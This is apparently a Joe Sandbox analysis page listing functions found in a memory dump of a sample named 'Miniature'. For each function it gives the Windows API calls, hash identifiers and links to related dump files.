Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Pointer$AddressDecodeEncodeLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 3489934621-2819208100
Opcode ID: e724611346146a4c9f174b565ac784abd51a6e16b39c9a483663dbb835dac9c3
Instruction ID: c8bfc80bb557a16bfa8c53070e4b87946cbdf3a86fcd55a321b037ab68afc2d4
Opcode Fuzzy Hash: e724611346146a4c9f174b565ac784abd51a6e16b39c9a483663dbb835dac9c3
Instruction Fuzzy Hash: A9E0B670A91300ABDB309F61AD0EB463E6CB704B16F604519F8C1D948CCBBF5504DB18

Function 00F9218F Relevance: 9.3, APIs: 6, Instructions: 254COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 00F921B8
GetWindowRect.USER32(?,?), ref: 00F921F9
ScreenToClient.USER32(?,?), ref: 00F92221
GetClientRect.USER32(?,?), ref: 00F92350
GetWindowRect.USER32(?,?), ref: 00F92369

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: 71c382d1b24b37662467d60e925897a814f019bda2ff190c59ac8119fb959a18
Instruction ID: 77202379691eeeee6d5023a898ff954a78cff8734ee59ca26b69574cb31f6a75
Opcode Fuzzy Hash: 71c382d1b24b37662467d60e925897a814f019bda2ff190c59ac8119fb959a18
Instruction Fuzzy Hash: A3B1823990024AEBEF50CFA8C581BEDB7B1FF48710F148129ED59EB254DB34A950EB64

Function 00FF6A73 Relevance: 9.2, APIs: 6, Instructions: 205COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00FF6BC6
_memmove.LIBCMT ref: 00FF6B01

Part of subcall function 00F94D37: __itow.LIBCMT ref: 00F94D62
Part of subcall function 00F94D37: __swprintf.LIBCMT ref: 00F94DAC

_memmove.LIBCMT ref: 00FF6B74
_memmove.LIBCMT ref: 00FF6C5B
_memmove.LIBCMT ref: 00FF6C74
_memmove.LIBCMT ref: 00FF6C90

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: _memmove$__itow__swprintf
String ID:
API String ID: 3253778849-0
Opcode ID: c1d4d61aec3e97959054d52700e379228b0f43a147c246075d4bbaf544f73aac
Instruction ID: b60827033500fe301f3e86dab3d4c5315cadc5359c509c72b66862ab57524f6d
Opcode Fuzzy Hash: c1d4d61aec3e97959054d52700e379228b0f43a147c246075d4bbaf544f73aac
Instruction Fuzzy Hash: 5B61D13150025EABDF11EF60CC91EFE77A8BF05348F444559FA959B1A2DB38AC06EB50

Function 01010844 Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FA1A36: _memmove.LIBCMT ref: 00FA1A77

Part of subcall function 0101147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0101040D,?,?), ref: 01011491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0101091D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0101095D
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 01010980
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 010109A9
RegCloseKey.ADVAPI32(?,?,00000000), ref: 010109EC
RegCloseKey.ADVAPI32(00000000), ref: 010109F9

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 3d49f9ff7f22eb8b8d0bec9798c00b564f56d96004f93064dee78db9db11c7de
Instruction ID: 19fc91dbcad704652f9731c784ed8cfbf9135f32401d86fe44f275778530ee61
Opcode Fuzzy Hash: 3d49f9ff7f22eb8b8d0bec9798c00b564f56d96004f93064dee78db9db11c7de
Instruction Fuzzy Hash: 2E516471208301AFE710EF64C895E6ABBE9BF85310F004919F5C9872A9DB39E945DB92

Function 01015DD6 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 01015E38
GetMenuItemCount.USER32(00000000), ref: 01015E6F
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 01015E97
GetMenuItemID.USER32(?,?), ref: 01015F06
GetSubMenu.USER32(?,?), ref: 01015F14
PostMessageW.USER32(?,00000111,?,00000000), ref: 01015F65

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 94390f1ff8402dae3fba4053bac6951dae7c608661c55be0d0b290e70b3ebcc6
Instruction ID: 689aeb5563ad5491a5177f92ebd84e158ac75514f6fc1d75b36bf83fa95469fe
Opcode Fuzzy Hash: 94390f1ff8402dae3fba4053bac6951dae7c608661c55be0d0b290e70b3ebcc6
Instruction Fuzzy Hash: C251AD35A00219AFDF21EF64CC45AAEB7F5EF89310F104099F951BB355CB38AE418B90

Function 00FEF688 Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00FEF6A2
VariantClear.OLEAUT32(00000013), ref: 00FEF714
VariantClear.OLEAUT32(00000000), ref: 00FEF76F
_memmove.LIBCMT ref: 00FEF799
VariantClear.OLEAUT32(?), ref: 00FEF7E6
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00FEF814

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: 1d9c5f06e4986772c2f6864a8aa6460a418f8bed913c8374a8a688a60addb145
Instruction ID: 49458c12875d004a5cb5b6bd7d9e38642bcbc132eb2c116186878a68d8227598
Opcode Fuzzy Hash: 1d9c5f06e4986772c2f6864a8aa6460a418f8bed913c8374a8a688a60addb145
Instruction Fuzzy Hash: E9516CB5A00209EFDB24CF58C884AAAB7B8FF4C354B15856AE949DB304D735E915CFA0

Function 00FF29B1 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00FF29FF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00FF2A4A
IsMenu.USER32(00000000), ref: 00FF2A6A
CreatePopupMenu.USER32 ref: 00FF2A9E
GetMenuItemCount.USER32(000000FF), ref: 00FF2AFC
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00FF2B2D

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 6b115cfe2cc98ab1564354dc59b218bc12a9c3244c4d950149ae4642ad865196
Instruction ID: f61b3dd5c8d9f610da9e44cfb3494693d985b0b7376a4c567a3891f6f04f80ed
Opcode Fuzzy Hash: 6b115cfe2cc98ab1564354dc59b218bc12a9c3244c4d950149ae4642ad865196
Instruction Fuzzy Hash: F751BE70A0030EDFDF65CF68C888BBEBBF4AF84324F104159EA119B2A5D7B49944EB51

Function 00F91B41 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00F929E2: GetWindowLongW.USER32(?,000000EB), ref: 00F929F3

BeginPaint.USER32(?,?,?,?,?,?), ref: 00F91B76
GetWindowRect.USER32(?,?), ref: 00F91BDA
ScreenToClient.USER32(?,?), ref: 00F91BF7
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00F91C08
EndPaint.USER32(?,?), ref: 00F91C52

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: e745307ac16fed0f3aebe2f669120a6900102bf29bcb9341edb9bf38c87f7d5d
Instruction ID: cf49fcfc2d02362b3e8902bd265715c3dc1bf43621a3db117c3f911b15040165
Opcode Fuzzy Hash: e745307ac16fed0f3aebe2f669120a6900102bf29bcb9341edb9bf38c87f7d5d
Instruction Fuzzy Hash: C441E231544302AFEB21DF24C885FBA7BE8FB99360F240568F995862A5C7369804EB61

Function 0101BD10 Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(010577B0,00000000,011B56B0,?,?,010577B0,?,0101BC1A,?,?), ref: 0101BD84
EnableWindow.USER32(?,00000000), ref: 0101BDA8
ShowWindow.USER32(010577B0,00000000,011B56B0,?,?,010577B0,?,0101BC1A,?,?), ref: 0101BE08
ShowWindow.USER32(?,00000004,?,0101BC1A,?,?), ref: 0101BE1A
EnableWindow.USER32(?,00000001), ref: 0101BE3E
SendMessageW.USER32(?,0000130C,?,00000000), ref: 0101BE61

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 7ce567e3d06eba2234953316b37b6bf01faece3de6d598b2cd5c7de0e7ed65bb
Instruction ID: 4b0f5ffe83add930bf0f1268c4089df8d99d9f537357faa7cd1a524833d386c9
Opcode Fuzzy Hash: 7ce567e3d06eba2234953316b37b6bf01faece3de6d598b2cd5c7de0e7ed65bb
Instruction Fuzzy Hash: 64416334600144AFDB66DF28C489B947FF1FF09314F6841E9FA888F2AAC735A845CB51

Function 01007788 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,0100550C,?,?,00000000,00000001), ref: 01007796

Part of subcall function 0100406C: GetWindowRect.USER32(?,?), ref: 0100407F

GetDesktopWindow.USER32 ref: 010077C0
GetWindowRect.USER32(00000000), ref: 010077C7
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 010077F9

Part of subcall function 00FF57FF: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00FF5877

GetCursorPos.USER32(?), ref: 01007825
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 01007883

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 31a634a020f604b6d52b5de146c5a74a833568ca3dd7041916bff2282f5c1b5e
Instruction ID: 8f12d19ae7f88170f9aa452cfc6c2955db8edcf55735ba3b676d1cb66742e252
Opcode Fuzzy Hash: 31a634a020f604b6d52b5de146c5a74a833568ca3dd7041916bff2282f5c1b5e
Instruction Fuzzy Hash: 4D31C172504309ABE721DF54C848F9BBBE9FF88714F100919F5D597181CA39EA09CBD2

Function 00FE9431 Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00FE8CC7: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00FE8CDE
Part of subcall function 00FE8CC7: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00FE8CE8
Part of subcall function 00FE8CC7: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00FE8CF7
Part of subcall function 00FE8CC7: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00FE8CFE
Part of subcall function 00FE8CC7: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00FE8D14

GetLengthSid.ADVAPI32(?,00000000,00FE904D), ref: 00FE9482
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00FE948E
HeapAlloc.KERNEL32(00000000), ref: 00FE9495
CopySid.ADVAPI32(00000000,00000000,?), ref: 00FE94AE
GetProcessHeap.KERNEL32(00000000,00000000,00FE904D), ref: 00FE94C2
HeapFree.KERNEL32(00000000), ref: 00FE94C9

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: ff97aa44bf06131d4ce86cd35413bf78ffbf44dcfdf64289474613edf9226c7e
Instruction ID: 4ffffa0e708fb7074a9fca511b3c4138af72505be5003279f8b976ae4cd24627
Opcode Fuzzy Hash: ff97aa44bf06131d4ce86cd35413bf78ffbf44dcfdf64289474613edf9226c7e
Instruction Fuzzy Hash: B811AF32905604FFDB20DFA5CC49FAEBBA9FB45325F208018F88597254D77A9941EB70

Function 00FE91CF Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00FE9200
OpenProcessToken.ADVAPI32(00000000), ref: 00FE9207
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00FE9216
CloseHandle.KERNEL32(00000004), ref: 00FE9221
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00FE9250
DestroyEnvironmentBlock.USERENV(00000000), ref: 00FE9264

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 86e2400c7cc3d1ec2925be5bdf2021e3833d760c4d6679cb0ed38aba0ed22b91
Instruction ID: 93f309d7e509b0dfdaa5cb537105c8c69820ece6d9af551eb739c8b1f0f61aca
Opcode Fuzzy Hash: 86e2400c7cc3d1ec2925be5bdf2021e3833d760c4d6679cb0ed38aba0ed22b91
Instruction Fuzzy Hash: 6F11597290524EBBDF218F94ED49FDE7BA9EF48314F144065FE04A2164C3BA8D60EB60

Function 00FEC329 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00FEC34E
GetDeviceCaps.GDI32(00000000,00000058), ref: 00FEC35F
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00FEC366
ReleaseDC.USER32(00000000,00000000), ref: 00FEC36E
MulDiv.KERNEL32(000009EC,?,00000000), ref: 00FEC385
MulDiv.KERNEL32(000009EC,?,?), ref: 00FEC397

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: CapsDevice$Release
String ID:
API String ID: 1035833867-0
Opcode ID: 4259c79670cb541cd11c63e65dc66402f6b52c6b2f711150eb7e579e6fac9f2e
Instruction ID: bd33705a8c5161e7210117abaca302ff39ed2e86998fe420efaeb293c3d308ae
Opcode Fuzzy Hash: 4259c79670cb541cd11c63e65dc66402f6b52c6b2f711150eb7e579e6fac9f2e
Instruction Fuzzy Hash: 06014475E00318BFEF209FA69C49A5EBFB8EB48761F104065FE48A7284D6759D11CFA0

Function 0101C552 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00F916CF: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00F91729
Part of subcall function 00F916CF: SelectObject.GDI32(?,00000000), ref: 00F91738
Part of subcall function 00F916CF: BeginPath.GDI32(?), ref: 00F9174F
Part of subcall function 00F916CF: SelectObject.GDI32(?,00000000), ref: 00F91778

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 0101C57C
LineTo.GDI32(00000000,00000003,?), ref: 0101C590
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0101C59E
LineTo.GDI32(00000000,00000000,?), ref: 0101C5AE
EndPath.GDI32(00000000), ref: 0101C5BE
StrokePath.GDI32(00000000), ref: 0101C5CE

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 933582a3f0a542ee9c5e124eca37db317366bc26d94ca847c5582aae66d67eaf
Instruction ID: 1aef3e9366de4fb9ffe6e447cae6cdcd3dffcb0f54b2a86ec28610b1f5da9e9f
Opcode Fuzzy Hash: 933582a3f0a542ee9c5e124eca37db317366bc26d94ca847c5582aae66d67eaf
Instruction Fuzzy Hash: 59111E7204020DBFEF229F94DC88EEA7FADEB04354F148051FA5856164C7769D95DBA0

Function 00FB07BB Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00FB07EC
MapVirtualKeyW.USER32(00000010,00000000), ref: 00FB07F4
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00FB07FF
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00FB080A
MapVirtualKeyW.USER32(00000011,00000000), ref: 00FB0812
MapVirtualKeyW.USER32(00000012,00000000), ref: 00FB081A

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: d6e6fea2ad82854be44a44ec2bffe5c8024418250402887d6f02632b90290142
Instruction ID: b0ac8cb868ef23b381ae2c110ba93263f5f6d41bdaf42c80a1aa415d1dbf6529
Opcode Fuzzy Hash: d6e6fea2ad82854be44a44ec2bffe5c8024418250402887d6f02632b90290142
Instruction Fuzzy Hash: A5016CB09027597DE3108F5A8C85B52FFA8FF59354F10411BE15C47941C7F5A868CBE5

Function 00FF59A4 Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00FF59B4
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00FF59CA
GetWindowThreadProcessId.USER32(?,?), ref: 00FF59D9
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00FF59E8
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00FF59F2
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00FF59F9

Memory Dump Source

Source File: 0000000A.00000002.2979760173.0000000000F91000.00000020.00000001.01000000.00000006.sdmp, Offset: 00F90000, based on PE: true

Associated: 0000000A.00000002.2979728446.0000000000F90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001020000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979903816.0000000001050000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.2979931573.0000000001059000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_f90000_Miniature.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 4c04cd76dfeadc5e55f34c2a2318f7df8018959d756f0fc695dd545f7230e225
Instruction ID: dc7c77945e501e9a2e0e69c1d5de06d028a282ec4645fd5f459b5b8f7e4266b1
Opcode Fuzzy Hash: 4c04cd76dfeadc5e55f34c2a2318f7df8018959d756f0fc695dd545f7230e225
Instruction Fuzzy Hash: 4FF01D32641258BBE7315E929C0EEEF7A7CEFCAB21F200159FA4591048D7AA1A0187B5

Function 00FF77EB Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00FF77FE
EnterCriticalSection.KERNEL32(?,?,00F9C2B6,?,?), ref: 00FF780F
TerminateThread.KERNEL32(00000000,000001F6,?,00F9C2B6,?,?), ref: 00FF781C
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00F9C2B6,?,?), ref: 00FF7829

